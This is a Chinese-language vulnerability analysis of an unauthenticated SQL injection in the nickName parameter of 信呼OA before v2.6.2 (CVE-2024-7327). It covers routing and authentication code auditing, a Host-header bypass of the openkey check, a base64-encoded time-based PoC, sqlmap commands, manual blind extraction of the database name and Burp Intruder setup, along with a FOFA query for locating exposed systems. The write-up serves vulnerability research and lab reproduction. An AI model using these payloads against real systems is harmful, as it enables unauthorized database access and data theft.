信呼OA-nickName-SQL注入漏洞

信呼OA-nickName-SQL注入漏洞
Att@ckxu1. 漏洞基本信息
- 漏洞名称:信呼OA nickName SQL注入漏洞(XVE-2024-19304 & CVE-2024-7327 )
- 影响系统 / CMS名称:信呼OA办公系统
- 影响版本范围:v2.6.2 之前
- 漏洞类型:SQL注入
2. 漏洞描述
该漏洞位于 /webmain/task/openapi/openmodhetongAction.php 文件的 dataAction 函数中,由于未对用户可控的 nickName 参数进行有效过滤,导致攻击者可构造恶意SQL语句,从而执行任意数据库操作。
3. 漏洞影响版本
v2.6.2 之前
来源:https://forum.butian.net/article/561
4. 网络测绘语法
fofa:
app="信呼-OA系统" |
5. 环境搭建
下载信呼OAv2.6.2https://xinhu-1251238447.file.myqcloud.com/file/xinhu_utf8_v2.6.2.zip
小皮面板配置
网站根目录配置
MySQL创建数据库rockxinhu
导入数据库文件webmain/install/rockxinhu.sql
到信呼官网注册登录,获取key
回到安装页面,配置数据库连接信息,官网key
安装完成
6. SQL注入原理及代码审计分析
路由分析
白盒
index.php入口文件分析代码
这部分代码主要写了处理URL的逻辑
完整代码:
|
第九行,$rock
获取rewriteurl
参数的值,并且传递给$_uurl
变量
这里rewriteurl是直接get获取的,get为自写的方法,和$_GET一样
当$_uurl
不为空:
- 则清除get获取的m、d、a三个参数的值
- 将
$_uurl
的值传递给$m - 用
_
分隔$_uurl
,并且最终分别传递给$d
、$m
、$a
- 以
?
分割URI,并且传递给变量$_uurla
当$_uurl
为空:
从$rock
获取get参数rewriteurl
中的m、d、a的值
所以,如果没有进行登陆,我们需要给m、d、a三个参数分别传入相对应的值。(这里只需要知道这个即可)
最后包含了include/View.php文件,继续跟踪
AI对该文件分析
简单来说这个文件同样是写路由,接收参数,调用参数
黑盒
路由我使用黑白盒结合去分析
触发一些功能点,查看数据包
GET /index.php?a=gettotal&m=index&d=home&atype=&loadci=0&optdt=&nums=kjrk,gong,kjrko,bianjian,kqdk,gwwx,apply,meet,officic,syslog,about&ajaxbool=true&rnd=321846 HTTP/1.1 |
结合代码来看
webmain为主目录,这里的d=home为home目录;m=index为index文件;a=gettotal为gettotal方法,而这里的方法名为gettotalAjax,因此ajaxbool=true
对应代码处
再看一个
GET /index.php?a=homedata&m=mode_bianjian|input&d=flow&ajaxbool=true&rnd=539654&st1=2025-06-29&st2=2025-08-09 HTTP/1.1 |
同样跟:flow目录下的input目录下的mode_bianjian文件下的homedata方法
对应代码处
验证:
该响应包经Unicode解码之后,和代码处对应,因此路由关系正确
综上,路由为:/index.php?a=方法&m=文件&d=目录&ajaxbool=true/false(ajaxbool看方法是否为Ajax),如果为多级目录,路由为:/index.php?a=方法&m=文件|子目录&d=目录&ajaxbool=true/false
鉴权分析
漏洞位于webmain\task\openapi\openmodhetongAction.php
openapi,这个接口本来外部就可以请求
该文件本身并没有做任何鉴权
openmodhetongClassAction继承了openapiAction,跟踪
发现其中有initAction方法去校验host(这个在下面有提到并绕过)
同样,openapiAction这个文件只做了 openkey 校验(且本地/内网IP还不校验),没有登录、token、cookie校验
问:继承链到底是怎么跟的?
答:漏洞所在的openmodhetongClassAction,经过不断跟踪,最终继承自mainAction
问:为什么会调用initAction方法?该文件中的其他方法会被调用吗?
答:漏洞点继承一直往上跟,会跟到mainAction,而在mainAction中有一个
__construct
魔术方法,而这个魔术方法里有一个$this->initAction()
也就是说,只要 new 任何继承自 mainAction(或其子类)的控制器类,都会自动执行这个构造函数。
其中最后一步 $this->initAction();,会自动调用当前类(或其父类)定义的 initAction() 方法。
而漏洞所在点openmodhetongClassAction最终是继承自mainAction,调用时触发了魔术方法,从而调用了initAction()方法,但由于自身类中没有该方法,要向其父类openapiAction调用initAction方法,因此会去校验openkey字段;而openapiAction中的其他方法则没有被调用
在最终父类mainAction 中,initAction是一个空方法,目的就是让子类去重写,子类openapiAction中重写了该方法,而最终父类mainAction中的魔术方法__construct
中又写了$this->initAction();,因此漏洞所在类openmodhetongClassAction会自动调用initAction方法,但是由于自身并没有initAction方法,会往上跟继承,调用openapiAction中的initAction方法(也就是校验openkey),并且openapiAction中的其他方法都没有被调用(其他方法只有显式调用的时候才能被调用,因为继承链上的父类中并没有把这些方法写入魔术方法中,需要手动调用),因此漏洞所在openmodhetongClassAction处只会调用其父类openapiAction中的initAction方法,不会再往上跟其他方法
至于那些cookie、token等鉴权方法(如ActionNot中的mweblogin方法、Action中的各个方法),这些方法在最终父类的魔术方法中并没有被调用,因此在漏洞所在openmodhetongClassAction没有手动去调用这些方法的前提下,这些方法就不会被调用,该漏洞点也就不存在cookie、token等鉴权
总结:这个漏洞点没有鉴权,是因为它继承的 openapiAction 只做了 openkey 校验(且本地/内网IP还不校验),没有任何登录、token、cookie 校验,导致接口对外完全开放。
漏洞分析
漏洞位于webmain/task/openapi/openmodhetongAction.php
nickName参数经过base64解码传递给$nickName
,$nickName
传递给数组$uarr
,数组$uarr
直接调用record查询
get跟踪
ctrl跟踪get方法
又调用了rock类中的get方法,全局搜索public function get(
public function get($name,$dev='', $lx=0) |
进行get传参,如果传参成功就进行赋值,再进行非空判断,之后调用jmuncode()方法,并且将返回值返回
跟入jmuncode()方法,
其中147行对传入的参数中单引号转义,将'
替换为'
,但我们传递的为base64编码后的payload,单引号转义不影响,总体没有防护sql注入
回到类的头部,发现有一个__construct
魔术方法,其中对很多注入的关键字进行了过滤
当我们创建一个rockClass对象时,会自动调用这个魔术方法
但是回到漏洞所在处webmain/task/openapi/openmodhetongAction.php,因为代码需要进行一次base64解码,我们传入的值需要是base64编码后的值,因此上述的过滤对我们构造payload没有影响
record跟踪
回到webmain/task/openapi/openmodhetongAction.php,ctrl跟踪到Model.php中的record方法,该方法又调用了db中的record,继续跟踪
全局搜索public function record(,对应的是mysq.php中的record方法,继续跟踪
下面进行了insert和update查询,$array
参数是传递的payload处,遍历$array
数组的$key
和$val
,对$val
又调用了toaddval方法,跟踪
该方法只是用来将字符串转换为适合插入数据库的格式,并没有对输入的内容进行过滤,最终拼接$key
和$val
,传递给$cont
,最终拼接到sql语句
至此,漏洞分析结束,参数可控,直接作为数组的一部分带入查询,并且由于该处参数的接收值要为base64编码之后的,get方法中对sql注入的过滤对我们没有影响,存在注入
漏洞验证
这里刚开始没有注入成功
openapiAction.php文件中init方法中,这个方法中会验证openkey(我们只需要考虑绕过即可)
任意以下条件成立时,完全跳过openkey检查:
- $this->keycheck为false
- 主机是127.0.0.1(本地开发环境)
- 主机IP包含192.168(内网环境)
- 服务端未配置openkey(空字符串)
因此我们只需要将host改为127.0.0.1即可
因为漏洞点webmain/task/openapi/openmodhetongAction.php
为task目录下的openapi目录下的openmodhetong文件中的data方法,因此构造访问数据包
m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw==
其中不为ajax(漏洞所在点为dataAction,不为dataAjax),因此&ajaxbool=0,nickName为传入的payload
&ajaxbool为0或false都可以
比如这里请求的是
&ajaxbool=true,对应的代码处调用的方法就为checkAjax
POC:
GET /index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgYW5kIHNsZWVwKDUpIw== |
1’ and sleep(5)# –> base64 –> MScgYW5kIHNsZWVwKDUpIw==
sqlmap验证
python sqlmap.py -u "http://xinhu:8000/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MS" -p nickName --tamper=base64encode --host="127.0.0.1" --batch --dbms=mysql --level=3 --risk=3 |
因为调用的是record方法,方法写的sql语句为insert和update,因此要使用level和risk,但是网上有人给的sqlmap的payload没有用level和risk,我在没用level和risk情况下没有跑出来
sqlmap获取数据库名
加上–current-db
手工验证
http://xinhu:8000/index.php?m=openmodhetong|openapi&d=task&a=data&ajaxbool=0&nickName=MScgQU5EIElGKFNVQlNUUklORyhEQVRBQkFTRSgpLDEsMSk9J3InLFNMRUVQKDUpLDEpIw== |
数据库名的第一个字符为r,如果为r则延迟5s
成功延迟
这里1’ AND IF(SUBSTRING(DATABASE(),1,1)=’r’,SLEEP(5),1)#
使用burp的Intruder模块爆破情况下,如何配置呢?需要对payload中的单个字符进行遍历值,并且需要对整个payload进行base64编码
好像只有生成
1’+AND+IF(SUBSTRING(DATABASE(),1,1)%3d’a’,SLEEP(5),1)%23
1’+AND+IF(SUBSTRING(DATABASE(),1,1)%3d’b’,SLEEP(5),1)%23
字典,再进行爆破,base64-encode
生成字典
def generate_sqli_payloads(): |
取消勾选(使用我们自己设置的host127.0.0.1,绕过openkey)
payload取消url编码,并进行base64编码
设置单线程
爆破结果
成功获取数据库名rockxinhu
Tips
这个漏洞没有cookie和token的校验,但是有openkey的校验,经尝试,部署在VPS上,修改host部分仍可以绕过,进行注入,因此该漏洞应为前台注入
前台注入条件
- 服务器对host没有安全策略,导致可以更改host
有些服务器策略会导致更改host之后无法请求该网站,所以这个洞是不是前台还是跟服务器的策略有关系
VPS搭建:
注入:
7. 参考资料
https://forum.butian.net/article/561
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7327